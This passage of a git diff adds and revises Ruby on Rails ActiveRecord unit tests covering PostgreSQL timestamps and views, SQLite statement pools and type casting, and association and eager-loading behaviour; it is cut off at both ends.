Developer.find_by_sql("select '-infinity'::timestamp as updated_at") + time = d.first.updated_at + assert time.infinite?, 'timestamp should be infinite' + assert_operator time, :<, 0 + end + + def test_save_infinity_and_beyond + unless current_adapter?(:PostgreSQLAdapter) + return skip("only tested on postgresql") + end + + d = Developer.create!(:name => 'aaron', :updated_at => 1.0 / 0.0) + assert_equal(1.0 / 0.0, d.updated_at) + + d = Developer.create!(:name => 'aaron', :updated_at => -1.0 / 0.0) + assert_equal(-1.0 / 0.0, d.updated_at) + end +end diff --git a/activerecord/test/cases/adapters/postgresql/utils_test.rb b/activerecord/test/cases/adapters/postgresql/utils_test.rb new file mode 100644 index 0000000000..5f08f79171 --- /dev/null +++ b/activerecord/test/cases/adapters/postgresql/utils_test.rb @@ -0,0 +1,18 @@ +class PostgreSQLUtilsTest < ActiveSupport::TestCase + include ActiveRecord::ConnectionAdapters::PostgreSQLAdapter::Utils + + def test_extract_schema_and_table + { + %(table_name) => [nil,'table_name'], + %("table.name") => [nil,'table.name'], + %(schema.table_name) => %w{schema table_name}, + %("schema".table_name) => %w{schema table_name}, + %(schema."table_name") => %w{schema table_name}, + %("schema"."table_name") => %w{schema table_name}, + %("even spaces".table) => ['even spaces','table'], + %(schema."table.name") => ['schema', 'table.name'] + }.each do |given, expect| + assert_equal expect, extract_schema_and_table(given) + end + end +end diff --git a/activerecord/test/cases/adapters/postgresql/view_test.rb b/activerecord/test/cases/adapters/postgresql/view_test.rb new file mode 100644 index 0000000000..303ba9245a --- /dev/null +++ b/activerecord/test/cases/adapters/postgresql/view_test.rb @@ -0,0 +1,49 @@ +require "cases/helper" + +class ViewTest < ActiveRecord::TestCase + self.use_transactional_fixtures = false + + SCHEMA_NAME = 'test_schema' + TABLE_NAME = 'things' + VIEW_NAME = 'view_things' + COLUMNS = [ + 'id integer', + 'name character varying(50)', + 'email character varying(50)', + 'moment timestamp without time zone' + ] + + class ThingView < ActiveRecord::Base + set_table_name 'test_schema.view_things' + end + + def setup + @connection = ActiveRecord::Base.connection + @connection.execute "CREATE SCHEMA #{SCHEMA_NAME} CREATE TABLE #{TABLE_NAME} (#{COLUMNS.join(',')})" + @connection.execute "CREATE TABLE #{SCHEMA_NAME}.\"#{TABLE_NAME}.table\" (#{COLUMNS.join(',')})" + @connection.execute "CREATE VIEW #{SCHEMA_NAME}.#{VIEW_NAME} AS SELECT id,name,email,moment FROM #{SCHEMA_NAME}.#{TABLE_NAME}" + end + + def teardown + @connection.execute "DROP SCHEMA #{SCHEMA_NAME} CASCADE" + end + + def test_table_exists + name = ThingView.table_name + assert @connection.table_exists?(name), "'#{name}' table should exist" + end + + def test_column_definitions + assert_nothing_raised do + assert_equal COLUMNS, columns("#{SCHEMA_NAME}.#{VIEW_NAME}") + end + end + + private + def columns(table_name) + @connection.send(:column_definitions, table_name).map do |name, type, default| + "#{name} #{type}" + (default ? " default #{default}" : '') + end + end + +end diff --git a/activerecord/test/cases/adapters/sqlite3/quoting_test.rb b/activerecord/test/cases/adapters/sqlite3/quoting_test.rb index 0d9db92447..e0152e7ccf 100644 --- a/activerecord/test/cases/adapters/sqlite3/quoting_test.rb +++ b/activerecord/test/cases/adapters/sqlite3/quoting_test.rb @@ -67,7 +67,7 @@ module ActiveRecord def test_type_cast_bigdecimal bd = BigDecimal.new '10.0' - assert_equal bd.to_s('F'), @conn.type_cast(bd, nil) + assert_equal bd.to_f, @conn.type_cast(bd, nil) end def test_type_cast_unknown diff --git a/activerecord/test/cases/adapters/sqlite3/sqlite3_adapter_test.rb b/activerecord/test/cases/adapters/sqlite3/sqlite3_adapter_test.rb index 6ff04e3eb3..eb6f071dc1 100644 --- a/activerecord/test/cases/adapters/sqlite3/sqlite3_adapter_test.rb +++ b/activerecord/test/cases/adapters/sqlite3/sqlite3_adapter_test.rb @@ -1,9 +1,12 @@ # encoding: utf-8 require "cases/helper" +require 'models/owner' module ActiveRecord module ConnectionAdapters class SQLite3AdapterTest < ActiveRecord::TestCase + self.use_transactional_fixtures = false + class DualEncoding < ActiveRecord::Base end @@ -19,6 +22,21 @@ module ActiveRecord eosql end + def test_column_types + return skip('only test encoding on 1.9') unless "<3".encoding_aware? + + owner = Owner.create!(:name => "hello".encode('ascii-8bit')) + owner.reload + select = Owner.columns.map { |c| "typeof(#{c.name})" }.join ', ' + result = Owner.connection.exec_query <<-esql + SELECT #{select} + FROM #{Owner.table_name} + WHERE #{Owner.primary_key} = #{owner.id} + esql + + assert(!result.rows.first.include?("blob"), "should not store blobs") + end + def test_exec_insert column = @conn.columns('items').find { |col| col.name == 'number' } vals = [[column, 10]] @@ -139,6 +157,8 @@ module ActiveRecord binary = DualEncoding.new :name => 'いただきます！', :data => str binary.save! assert_equal str, binary.data + + DualEncoding.connection.drop_table('dual_encodings') end def test_execute diff --git a/activerecord/test/cases/adapters/sqlite3/statement_pool_test.rb b/activerecord/test/cases/adapters/sqlite3/statement_pool_test.rb new file mode 100644 index 0000000000..ae272e2c4b --- /dev/null +++ b/activerecord/test/cases/adapters/sqlite3/statement_pool_test.rb @@ -0,0 +1,24 @@ +require 'cases/helper' + +module ActiveRecord::ConnectionAdapters + class SQLiteAdapter + class StatementPoolTest < ActiveRecord::TestCase + def test_cache_is_per_pid + return skip('must support fork') unless Process.respond_to?(:fork) + + cache = StatementPool.new nil, 10 + cache['foo'] = 'bar' + assert_equal 'bar', cache['foo'] + + pid = fork { + lookup = cache['foo']; + exit!(!lookup) + } + + Process.waitpid pid + assert $?.success?, 'process should exit successfully' + end + end + end +end + diff --git a/activerecord/test/cases/associations/belongs_to_associations_test.rb b/activerecord/test/cases/associations/belongs_to_associations_test.rb index b993bf6e90..1160d236c9 100644 --- a/activerecord/test/cases/associations/belongs_to_associations_test.rb +++ b/activerecord/test/cases/associations/belongs_to_associations_test.rb @@ -13,6 +13,7 @@ require 'models/comment' require 'models/sponsor' require 'models/member' require 'models/essay' +require 'models/toy' class BelongsToAssociationsTest < ActiveRecord::TestCase fixtures :accounts, :companies, :developers, :projects, :topics, @@ -158,6 +159,17 @@ class BelongsToAssociationsTest < ActiveRecord::TestCase assert_not_nil Company.find(3).firm_with_condition, "Microsoft should have a firm" end + def test_polymorphic_association_class + sponsor = Sponsor.new + assert_nil sponsor.association(:sponsorable).send(:klass) + + sponsor.sponsorable_type = '' # the column doesn't have to be declared NOT NULL + assert_nil sponsor.association(:sponsorable).send(:klass) + + sponsor.sponsorable = Member.new :name => "Bert" + assert_equal Member, sponsor.association(:sponsorable).send(:klass) + end + def test_with_polymorphic_and_condition sponsor = Sponsor.create member = Member.create :name => "Bert" @@ -285,6 +297,15 @@ class BelongsToAssociationsTest < ActiveRecord::TestCase assert_equal 1, Topic.find(topic.id)[:replies_count] end + def test_belongs_to_counter_when_update_column + topic = Topic.create!(:title => "37s") + topic.replies.create!(:title => "re: 37s", :content => "rails") + assert_equal 1, Topic.find(topic.id)[:replies_count] + + topic.update_column(:content, "rails is wonderfull") + assert_equal 1, Topic.find(topic.id)[:replies_count] + end + def test_assignment_before_child_saved final_cut = Client.new("name" => "Final Cut") firm = Firm.find(1) @@ -332,6 +353,12 @@ class BelongsToAssociationsTest < ActiveRecord::TestCase assert_equal members(:groucho), sponsor.sponsorable end + def test_dont_find_target_when_foreign_key_is_null + tagging = taggings(:thinking_general) + queries = assert_sql { tagging.super_tag } + assert_equal 0, queries.length + end + def test_field_name_same_as_foreign_key computer = Computer.find(1) assert_not_nil computer.developer, ":foreign key == attribute didn't lock up" # ' @@ -647,4 +674,34 @@ class BelongsToAssociationsTest < ActiveRecord::TestCase firm = client.create_firm!{ |f| f.name = 'Agency Company' } assert_equal 'Agency Company', firm.name end + + def test_should_set_foreign_key_on_create_association + client = Client.create! :name => "fuu" + + firm = client.create_firm :name => "baa" + assert_equal firm.id, client.client_of + end + + def test_should_set_foreign_key_on_create_association! + client = Client.create! :name => "fuu" + + firm = client.create_firm! :name => "baa" + assert_equal firm.id, client.client_of + end + + def test_self_referential_belongs_to_with_counter_cache_assigning_nil + comment = Comment.create! :post => posts(:thinking), :body => "fuu" + comment.parent = nil + comment.save! + + assert_equal nil, comment.reload.parent + assert_equal 0, comments(:greetings).reload.children_count + end + + def test_polymorphic_with_custom_primary_key + toy = Toy.create! + sponsor = Sponsor.create!(:sponsorable => toy) + + assert_equal toy, sponsor.reload.sponsorable + end end diff --git a/activerecord/test/cases/associations/cascaded_eager_loading_test.rb b/activerecord/test/cases/associations/cascaded_eager_loading_test.rb index 49d8722aff..ff376a68d8 100644 --- a/activerecord/test/cases/associations/cascaded_eager_loading_test.rb +++ b/activerecord/test/cases/associations/cascaded_eager_loading_test.rb @@ -8,10 +8,12 @@ require 'models/company' require 'models/topic' require 'models/reply' require 'models/person' +require 'models/vertex' +require 'models/edge' class CascadedEagerLoadingTest < ActiveRecord::TestCase fixtures :authors, :mixins, :companies, :posts, :topics, :accounts, :comments, - :categorizations, :people, :categories + :categorizations, :people, :categories, :edges, :vertices def test_eager_association_loading_with_cascaded_two_levels authors = Author.find(:all, :include=>{:posts=>:comments}, :order=>"authors.id") @@ -164,12 +166,6 @@ class CascadedEagerLoadingTest < ActiveRecord::TestCase authors[2].post_about_thinking.comments.first end end -end - -require 'models/vertex' -require 'models/edge' -class CascadedEagerLoadingTest < ActiveRecord::TestCase - fixtures :edges, :vertices def test_eager_association_loading_with_recursive_cascading_four_levels_has_many_through source = Vertex.find(:first, :include=>{:sinks=>{:sinks=>{:sinks=>:sinks}}}, :order => 'vertices.id') diff --git a/activerecord/test/cases/associations/eager_test.rb b/activerecord/test/cases/associations/eager_test.rb index 3e92a77830..c6e451fc57 100644 --- a/activerecord/test/cases/associations/eager_test.rb +++ b/activerecord/test/cases/associations/eager_test.rb @@ -380,6 +380,18 @@ class EagerAssociationTest < ActiveRecord::TestCase assert_equal subscriptions, subscriber.subscriptions.sort_by(&:id) end + def test_string_id_column_joins + s = Subscriber.create! do |c| + c.id = "PL" + end + + b = Book.create! + + Subscription.create!(:subscriber_id => "PL", :book_id => b.id) + s.reload + s.book_ids = s.book_ids + end + def test_eager_load_has_many_through_with_string_keys books = books(:awdr, :rfr) subscriber = Subscriber.find(subscribers(:second).id, :include => :books) @@ -448,6 +460,12 @@ class EagerAssociationTest < ActiveRecord::TestCase assert_equal post_tags, eager_post_tags end + def test_eager_with_has_many_through_join_model_ignores_default_includes + assert_nothing_raised do + authors(:david).comments_on_posts_with_default_include.to_a + end + end + def test_eager_with_has_many_and_limit posts = Post.find(:all, :order => 'posts.id asc', :include => [ :author, :comments ], :limit => 2) assert_equal 2, posts.size @@ -675,6 +693,46 @@ class EagerAssociationTest < ActiveRecord::TestCase } end + def test_eager_with_default_scope + developer = EagerDeveloperWithDefaultScope.where(:name => 'David').first + projects = Project.order(:id).all + assert_no_queries do + assert_equal(projects, developer.projects) + end + end + + def test_eager_with_default_scope_as_class_method + developer = EagerDeveloperWithClassMethodDefaultScope.where(:name => 'David').first + projects = Project.order(:id).all + assert_no_queries do + assert_equal(projects, developer.projects) + end + end + + def test_eager_with_default_scope_as_lambda + developer = EagerDeveloperWithLambdaDefaultScope.where(:name => 'David').first + projects = Project.order(:id).all + assert_no_queries do + assert_equal(projects, developer.projects) + end + end + + def test_eager_with_default_scope_as_block + developer = EagerDeveloperWithBlockDefaultScope.where(:name => 'David').first + projects = Project.order(:id).all + assert_no_queries do + assert_equal(projects, developer.projects) + end + end + + def test_eager_with_default_scope_as_callable + developer = EagerDeveloperWithCallableDefaultScope.where(:name => 'David').first + projects = Project.order(:id).all + assert_no_queries do + assert_equal(projects, developer.projects) + end + end + def find_all_ordered(className, include=nil) className.find(:all, :order=>"#{className.table_name}.#{className.primary_key}", :include=>include) end @@ -982,4 +1040,24 @@ class EagerAssociationTest < ActiveRecord::TestCase } assert_no_queries { assert_equal groucho, sponsor.thing } end + + def test_joins_with_includes_should_preload_via_joins + post = assert_queries(1) { Post.includes(:comments).joins(:comments).order('posts.id desc').to_a.first } + + assert_queries(0) do + assert_not_equal 0, post.comments.to_a.count + end + end + + def test_join_eager_with_empty_order_should_generate_valid_sql + assert_nothing_raised(ActiveRecord::StatementInvalid) do + Post.includes(:comments).order("").where(:comments => {:body => "Thank you for the welcome"}).first + end + end + + def test_join_eager_with_nil_order_should_generate_valid_sql + assert_nothing_raised(ActiveRecord::StatementInvalid) do + Post.includes(:comments).order(nil).where(:comments => {:body => "Thank you for the welcome"}).first + end + end end diff --git a/activerecord/test/cases/associations/extension_test.rb b/activerecord/test/cases/associations/extension_test.rb index 24830a661a..8dc1423375 100644 --- a/activerecord/test/cases/associations/extension_test.rb +++ b/activerecord/test/cases/associations/extension_test.rb @@ -36,18 +36,32 @@ class AssociationsExtensionsTest < ActiveRecord::TestCase end def test_marshalling_extensions + if ENV['TRAVIS'] && RUBY_VERSION == "1.8.7" + return skip("Marshalling tests disabled for Ruby 1.8.7 on Travis CI due to what appears " \ + "to be a Ruby bug.") + end + david = developers(:david) assert_equal projects(:action_controller), david.projects.find_most_recent - david = Marshal.load(Marshal.dump(david)) + marshalled = Marshal.dump(david) + david = Marshal.load(marshalled) + assert_equal projects(:action_controller), david.projects.find_most_recent end def test_marshalling_named_extensions + if ENV['TRAVIS'] && RUBY_VERSION == "1.8.7" + return skip("Marshalling tests disabled for Ruby 1.8.7 on Travis CI due to what appears " \ + "to be a Ruby bug.") + end + david = developers(:david) assert_equal projects(:action_controller), david.projects_extended_by_name.find_most_recent - david = Marshal.load(Marshal.dump(david)) + marshalled = Marshal.dump(david) + david = Marshal.load(marshalled) + assert_equal projects(:action_controller), david.projects_extended_by_name.find_most_recent end diff --git a/activerecord/test/cases/associations/habtm_join_table_test.rb b/activerecord/test/cases/associations/habtm_join_table_test.rb index 745f169ad7..fe2b82f2c1 100644 --- a/activerecord/test/cases/associations/habtm_join_table_test.rb +++ b/activerecord/test/cases/associations/habtm_join_table_test.rb @@ -32,13 +32,4 @@ class HabtmJoinTableTest < ActiveRecord::TestCase ActiveRecord::Base.connection.drop_table :my_readers ActiveRecord::Base.connection.drop_table :my_books_my_readers end - - uses_transaction :test_should_raise_exception_when_join_table_has_a_primary_key - def test_should_raise_exception_when_join_table_has_a_primary_key - if ActiveRecord::Base.connection.supports_primary_key? - assert_raise ActiveRecord::HasAndBelongsToManyAssociationWithPrimaryKeyError do - MyReader.has_and_belongs_to_many :my_books - end - end - end end diff --git a/activerecord/test/cases/associations/has_and_belongs_to_many_associations_test.rb b/activerecord/test/cases/associations/has_and_belongs_to_many_associations_test.rb index f4d14853d3..34d90cc395 100644 --- a/activerecord/test/cases/associations/has_and_belongs_to_many_associations_test.rb +++ b/activerecord/test/cases/associations/has_and_belongs_to_many_associations_test.rb @@ -101,6 +101,16 @@ class HasAndBelongsToManyAssociationsTest < ActiveRecord::TestCase assert_equal 't1', record[1] end + def test_proper_usage_of_primary_keys_and_join_table + setup_data_for_habtm_case + + assert_equal 'country_id', Country.primary_key + assert_equal 'treaty_id', Treaty.primary_key + + country = Country.first + assert_equal 1, country.treaties.count + end + def test_has_and_belongs_to_many david = Developer.find(1) @@ -235,6 +245,21 @@ class HasAndBelongsToManyAssociationsTest < ActiveRecord::TestCase assert_equal Developer.find(1).projects.sort_by(&:id).last, proj # prove join table is updated end + def test_new_aliased_to_build + devel = Developer.find(1) + proj = assert_no_queries { devel.projects.new("name" => "Projekt") } + assert !devel.projects.loaded? + + assert_equal devel.projects.last, proj + assert devel.projects.loaded? + + assert !proj.persisted? + devel.save + assert proj.persisted? + assert_equal devel.projects.last, proj + assert_equal Developer.find(1).projects.sort_by(&:id).last, proj # prove join table is updated + end + def test_build_by_new_record devel = Developer.new(:name => "Marcel", :salary => 75000) devel.projects.build(:name => "Make bed") @@ -625,6 +650,14 @@ class HasAndBelongsToManyAssociationsTest < ActiveRecord::TestCase assert_respond_to categories(:technology).select_testing_posts.find(:first), :correctness_marker end + def test_habtm_selects_all_columns_by_default + assert_equal Project.column_names.sort, developers(:david).projects.first.attributes.keys.sort + end + + def test_habtm_respects_select_query_method + assert_equal ['id'], developers(:david).projects.select(:id).first.attributes.keys + end + def test_join_table_alias assert_equal 3, Developer.find(:all, :include => {:projects => :developers}, :conditions => 'developers_projects_join.joined_on IS NOT NULL').size end diff --git a/activerecord/test/cases/associations/has_many_associations_test.rb b/activerecord/test/cases/associations/has_many_associations_test.rb index 522ac56d82..a60af7c046 100644 --- a/activerecord/test/cases/associations/has_many_associations_test.rb +++ b/activerecord/test/cases/associations/has_many_associations_test.rb @@ -2,6 +2,7 @@ require "cases/helper" require 'models/developer' require 'models/project' require 'models/company' +require 'models/contract' require 'models/topic' require 'models/reply' require 'models/category' @@ -11,10 +12,12 @@ require 'models/comment' require 'models/person' require 'models/reader' require 'models/tagging' +require 'models/tag' require 'models/invoice' require 'models/line_item' require 'models/car' require 'models/bulb' +require 'models/engine' class HasManyAssociationsTestForCountWithFinderSql < ActiveRecord::TestCase class Invoice < ActiveRecord::Base @@ -38,6 +41,21 @@ class HasManyAssociationsTestForCountWithCountSql < ActiveRecord::TestCase end end +class HasManyAssociationsTestForCountDistinctWithFinderSql < ActiveRecord::TestCase + class Invoice < ActiveRecord::Base + has_many :custom_line_items, :class_name => 'LineItem', :finder_sql => "SELECT DISTINCT line_items.amount from line_items" + end + + def test_should_count_distinct_results + invoice = Invoice.new + invoice.custom_line_items << LineItem.new(:amount => 0) + invoice.custom_line_items << LineItem.new(:amount => 0) + invoice.save! + + assert_equal 1, invoice.custom_line_items.count + end +end + class HasManyAssociationsTest < ActiveRecord::TestCase @@ -224,6 +242,10 @@ class HasManyAssociationsTest < ActiveRecord::TestCase assert_equal 2, Firm.find(:first, :order => "id").clients.length end + def test_finding_array_compatibility + assert_equal 2, Firm.order(:id).find{|f| f.id > 0}.clients.length + end + def test_find_with_blank_conditions [[], {}, nil, ""].each do |blank| assert_equal 2, Firm.find(:first, :order => "id").clients.find(:all, :conditions => blank).size @@ -478,6 +500,14 @@ class HasManyAssociationsTest < ActiveRecord::TestCase assert_equal 0, authors(:mary).popular_grouped_posts.length end + def test_default_select + assert_equal Comment.column_names.sort, posts(:welcome).comments.first.attributes.keys.sort + end + + def test_select_query_method + assert_equal ['id'], posts(:welcome).comments.select(:id).first.attributes.keys + end + def test_adding force_signal37_to_load_all_clients_of_firm natural = Client.new("name" => "Natural Company") @@ -535,6 +565,35 @@ class HasManyAssociationsTest < ActiveRecord::TestCase assert_equal 3, companies(:first_firm).clients_of_firm(true).size end + def test_transactions_when_adding_to_persisted + good = Client.new(:name => "Good") + bad = Client.new(:name => "Bad", :raise_on_save => true) + + begin + companies(:first_firm).clients_of_firm.concat(good, bad) + rescue Client::RaisedOnSave + end + + assert !companies(:first_firm).clients_of_firm(true).include?(good) + end + + def test_transactions_when_adding_to_new_record + assert_no_queries do + firm = Firm.new + firm.clients_of_firm.concat(Client.new("name" => "Natural Company")) + end + end + + def test_new_aliased_to_build + company = companies(:first_firm) + new_client = assert_no_queries { company.clients_of_firm.new("name" => "Another Client") } + assert !company.clients_of_firm.loaded? + + assert_equal "Another Client", new_client.name + assert !new_client.persisted? + assert_equal new_client, company.clients_of_firm.last + end + def test_build company = companies(:first_firm) new_client = assert_no_queries { company.clients_of_firm.build("name" => "Another Client") } @@ -766,6 +825,29 @@ class HasManyAssociationsTest < ActiveRecord::TestCase assert_equal 0, companies(:first_firm).clients_of_firm(true).size end + def test_transaction_when_deleting_persisted + good = Client.new(:name => "Good") + bad = Client.new(:name => "Bad", :raise_on_destroy => true) + + companies(:first_firm).clients_of_firm = [good, bad] + + begin + companies(:first_firm).clients_of_firm.destroy(good, bad) + rescue Client::RaisedOnDestroy + end + + assert_equal [good, bad], companies(:first_firm).clients_of_firm(true) + end + + def test_transaction_when_deleting_new_record + assert_no_queries do + firm = Firm.new + client = Client.new("name" => "New Client") + firm.clients_of_firm << client + firm.clients_of_firm.destroy(client) + end + end + def test_clearing_an_association_collection firm = companies(:first_firm) client_id = firm.clients_of_firm.first.id @@ -792,6 +874,15 @@ class HasManyAssociationsTest < ActiveRecord::TestCase end end + def test_clearing_updates_counter_cache_when_inverse_counter_cache_is_a_symbol_with_dependent_destroy + car = Car.first + car.engines.create! + + assert_difference 'car.reload.engines_count', -1 do + car.engines.clear + end + end + def test_clearing_a_dependent_association_collection firm = companies(:first_firm) client_id = firm.dependent_clients_of_firm.first.id @@ -1099,6 +1190,27 @@ class HasManyAssociationsTest < ActiveRecord::TestCase assert_equal orig_accounts, firm.accounts end + def test_transactions_when_replacing_on_persisted + good = Client.new(:name => "Good") + bad = Client.new(:name => "Bad", :raise_on_save => true) + + companies(:first_firm).clients_of_firm = [good] + + begin + companies(:first_firm).clients_of_firm = [bad] + rescue Client::RaisedOnSave + end + + assert_equal [good], companies(:first_firm).clients_of_firm(true) + end + + def test_transactions_when_replacing_on_new_record + assert_no_queries do + firm = Firm.new + firm.clients_of_firm = [Client.new("name" => "New Client")] + end + end + def test_get_ids assert_equal [companies(:first_client).id, companies(:second_client).id], companies(:first_firm).client_ids end @@ -1468,4 +1580,36 @@ class HasManyAssociationsTest < ActiveRecord::TestCase bulb = car.bulbs.build({ :bulb_type => :custom }, :as => :admin) assert_equal CustomBulb, bulb.class end + + def test_abstract_class_with_polymorphic_has_many + post = SubStiPost.create! :title => "fooo", :body => "baa" + tagging = Tagging.create! :taggable => post + assert_equal [tagging], post.taggings + end + + def test_dont_call_save_callbacks_twice_on_has_many + firm = companies(:first_firm) + contract = firm.contracts.create! + + assert_equal 1, contract.hi_count + assert_equal 1, contract.bye_count + end + + def test_association_attributes_are_available_to_after_initialize + car = Car.create(:name => 'honda') + bulb = car.bulbs.build + + assert_equal car.id, bulb.attributes_after_initialize['car_id'] + end + + def test_replace + car = Car.create(:name => 'honda') + bulb1 = car.bulbs.create + bulb2 = Bulb.create + + assert_equal [bulb1], car.bulbs + car.bulbs.replace([bulb2]) + assert_equal [bulb2], car.bulbs + assert_equal [bulb2], car.reload.bulbs + end end diff --git a/activerecord/test/cases/associations/has_many_through_associations_test.rb b/activerecord/test/cases/associations/has_many_through_associations_test.rb index 89117593fd..7a6aba6a6b 100644 --- a/activerecord/test/cases/associations/has_many_through_associations_test.rb +++ b/activerecord/test/cases/associations/has_many_through_associations_test.rb @@ -67,6 +67,31 @@ class HasManyThroughAssociationsTest < ActiveRecord::TestCase end end + def test_associate_existing_record_twice_should_add_records_twice + post = posts(:thinking) + person = people(:david) + + assert_difference 'post.people.count', 2 do + post.people << person + post.people << person + end + end + + def test_add_two_instance_and_then_deleting + post = posts(:thinking) + person = people(:david) + + post.people << person + post.people << person + + counts = ['post.people.count', 'post.people.to_a.count', 'post.readers.count', 'post.readers.to_a.count'] + assert_difference counts, -2 do + post.people.delete(person) + end + + assert !post.people.reload.include?(person) + end + def test_associating_new assert_queries(1) { posts(:thinking) } new_person = nil # so block binding catches it @@ -714,6 +739,11 @@ class HasManyThroughAssociationsTest < ActiveRecord::TestCase assert_equal [categories(:general).id], authors(:mary).categories_like_general_ids end + def test_get_collection_singular_ids_on_has_many_through_with_conditions_and_include + person = Person.first + assert_equal person.posts_with_no_comment_ids, person.posts_with_no_comments.map(&:id) + end + def test_count_has_many_through_with_named_scope assert_equal 2, authors(:mary).categories.count assert_equal 1, authors(:mary).categories.general.count @@ -766,4 +796,63 @@ class HasManyThroughAssociationsTest < ActiveRecord::TestCase assert_equal [category.name], post.named_category_ids # checks when target loaded assert_equal [category.name], post.reload.named_category_ids # checks when target no loaded end + + def test_create_should_not_raise_exception_when_join_record_has_errors + repair_validations(Categorization) do + Categorization.validate { |r| r.errors[:base] << 'Invalid Categorization' } + Category.create(:name => 'Fishing', :authors => [Author.first]) + end + end + + def test_save_should_not_raise_exception_when_join_record_has_errors + repair_validations(Categorization) do + Categorization.validate { |r| r.errors[:base] << 'Invalid Categorization' } + c = Category.create(:name => 'Fishing', :authors => [Author.first]) + c.save + end + end + + def test_create_bang_should_raise_exception_when_join_record_has_errors + repair_validations(Categorization) do + Categorization.validate { |r| r.errors[:base] << 'Invalid Categorization' } + assert_raises(ActiveRecord::RecordInvalid) do + Category.create!(:name => 'Fishing', :authors => [Author.first]) + end + end + end + + def test_save_bang_should_raise_exception_when_join_record_has_errors + repair_validations(Categorization) do + Categorization.validate { |r| r.errors[:base] << 'Invalid Categorization' } + c = Category.new(:name => 'Fishing', :authors => [Author.first]) + assert_raises(ActiveRecord::RecordInvalid) do + c.save! + end + end + end + + def test_create_bang_returns_falsy_when_join_record_has_errors + repair_validations(Categorization) do + Categorization.validate { |r| r.errors[:base] << 'Invalid Categorization' } + c = Category.new(:name => 'Fishing', :authors => [Author.first]) + assert !c.save + end + end + + def test_preloading_empty_through_association_via_joins + person = Person.create!(:first_name => "Gaga") + person = Person.where(:id => person.id).where('readers.id = 1 or 1=1').includes(:posts).to_a.first + + assert person.posts.loaded?, 'person.posts should be loaded' + assert_equal [], person.posts + end + + def test_explicitly_joining_join_table + assert_equal owners(:blackbeard).toys, owners(:blackbeard).toys.with_pet + end + + def test_has_many_through_with_polymorphic_source + post = tags(:general).tagged_posts.create! :title => "foo", :body => "bar" + assert_equal [tags(:general)], post.reload.tags + end end diff --git a/activerecord/test/cases/associations/has_one_associations_test.rb b/activerecord/test/cases/associations/has_one_associations_test.rb index f3bf5baa95..26931e3e85 100644 --- a/activerecord/test/cases/associations/has_one_associations_test.rb +++ b/activerecord/test/cases/associations/has_one_associations_test.rb @@ -345,6 +345,17 @@ class HasOneAssociationsTest < ActiveRecord::TestCase assert orig_ship.destroyed? end + def test_creation_failure_due_to_new_record_should_raise_error + pirate = pirates(:redbeard) + new_ship = Ship.new + + assert_raise(ActiveRecord::RecordNotSaved) do + pirate.ship = new_ship + end + assert_nil pirate.ship + assert_nil new_ship.pirate_id + end + def test_replacement_failure_due_to_existing_record_should_raise_error pirate = pirates(:blackbeard) pirate.ship.name = nil @@ -370,15 +381,6 @@ class HasOneAssociationsTest < ActiveRecord::TestCase assert_nil new_ship.pirate_id end - def test_deprecated_association_loaded - firm = companies(:first_firm) - firm.association(:account).stubs(:loaded?).returns(stub) - - assert_deprecated do - assert_equal firm.association(:account).loaded?, firm.account_loaded? - end - end - def test_association_keys_bypass_attribute_protection car = Car.create(:name => 'honda') @@ -447,4 +449,11 @@ class HasOneAssociationsTest < ActiveRecord::TestCase bulb = car.create_bulb!{ |b| b.color = 'Red' } assert_equal 'RED!', bulb.color end + + def test_association_attributes_are_available_to_after_initialize + car = Car.create(:name => 'honda') + bulb = car.create_bulb + + assert_equal car.id, bulb.attributes_after_initialize['car_id'] + end end diff --git a/activerecord/test/cases/associations/join_model_test.rb b/activerecord/test/cases/associations/join_model_test.rb index 8e23ab78be..4ce8b85098 100644 --- a/activerecord/test/cases/associations/join_model_test.rb +++ b/activerecord/test/cases/associations/join_model_test.rb @@ -139,7 +139,21 @@ class AssociationsJoinModelTest < ActiveRecord::TestCase def test_set_polymorphic_has_one tagging = tags(:misc).taggings.create posts(:thinking).tagging = tagging - assert_equal "Post", tagging.taggable_type + + assert_equal "Post", tagging.taggable_type + assert_equal posts(:thinking).id, tagging.taggable_id + assert_equal posts(:thinking), tagging.taggable + end + + def test_set_polymorphic_has_one_on_new_record + tagging = tags(:misc).taggings.create + post = Post.new :title => "foo", :body => "bar" + post.tagging = tagging + post.save! + + assert_equal "Post", tagging.taggable_type + assert_equal post.id, tagging.taggable_id + assert_equal post, tagging.taggable end def test_create_polymorphic_has_many_with_scope @@ -708,12 +722,9 @@ class AssociationsJoinModelTest < ActiveRecord::TestCase end def test_has_many_with_pluralize_table_names_false - engine = Engine.create(:car_id => 1) - Aircraft.pluralize_table_names = false - aircraft = Aircraft.create!(:name => "Airbus 380", :id => 1) + aircraft = Aircraft.create!(:name => "Airbus 380") + engine = Engine.create!(:car_id => aircraft.id) assert_equal aircraft.engines, [engine] - ensure - ActiveRecord::Base.pluralize_table_names = true end private diff --git a/activerecord/test/cases/associations/nested_through_associations_test.rb b/activerecord/test/cases/associations/nested_through_associations_test.rb index dd450a2a8e..530f5212a2 100644 --- a/activerecord/test/cases/associations/nested_through_associations_test.rb +++ b/activerecord/test/cases/associations/nested_through_associations_test.rb @@ -247,7 +247,7 @@ class NestedThroughAssociationsTest < ActiveRecord::TestCase def test_has_many_through_has_and_belongs_to_many_with_has_many_source_reflection_preload_via_joins assert_includes_and_joins_equal( - Category.where('comments.id' => comments(:more_greetings).id).order('comments.id'), + Category.where('comments.id' => comments(:more_greetings).id).order('categories.id'), [categories(:general), categories(:technology)], :post_comments ) end @@ -356,6 +356,17 @@ class NestedThroughAssociationsTest < ActiveRecord::TestCase assert_equal categories(:general), members(:groucho).club_category end + def test_joins_and_includes_from_through_models_not_included_in_association + prev_default_scope = Club.default_scopes + + [:includes, :preload, :joins, :eager_load].each do |q| + Club.default_scopes = [Club.send(q, :category)] + assert_equal categories(:general), members(:groucho).reload.club_category + end + ensure + Club.default_scopes = prev_default_scope + end + def test_has_one_through_has_one_through_with_belongs_to_source_reflection_preload members = assert_queries(4) { Member.includes(:club_category).to_a.sort_by(&:id) } general = categories(:general) diff --git a/activerecord/test/cases/associations_test.rb b/activerecord/test/cases/associations_test.rb index 49d82ba2df..ffe2993e0f 100644 --- a/activerecord/test/cases/associations_test.rb +++ b/activerecord/test/cases/associations_test.rb @@ -203,6 +203,11 @@ class AssociationProxyTest < ActiveRecord::TestCase assert_equal david.projects, david.projects.reload.reload end end + + def test_proxy_association_accessor + david = developers(:david) + assert_equal david.association(:projects), david.projects.proxy_association + end end class OverridingAssociationsTest < ActiveRecord::TestCase diff --git a/activerecord/test/cases/attribute_methods/read_test.rb b/activerecord/test/cases/attribute_methods/read_test.rb index 3641031d12..e03ed33591 100644 --- 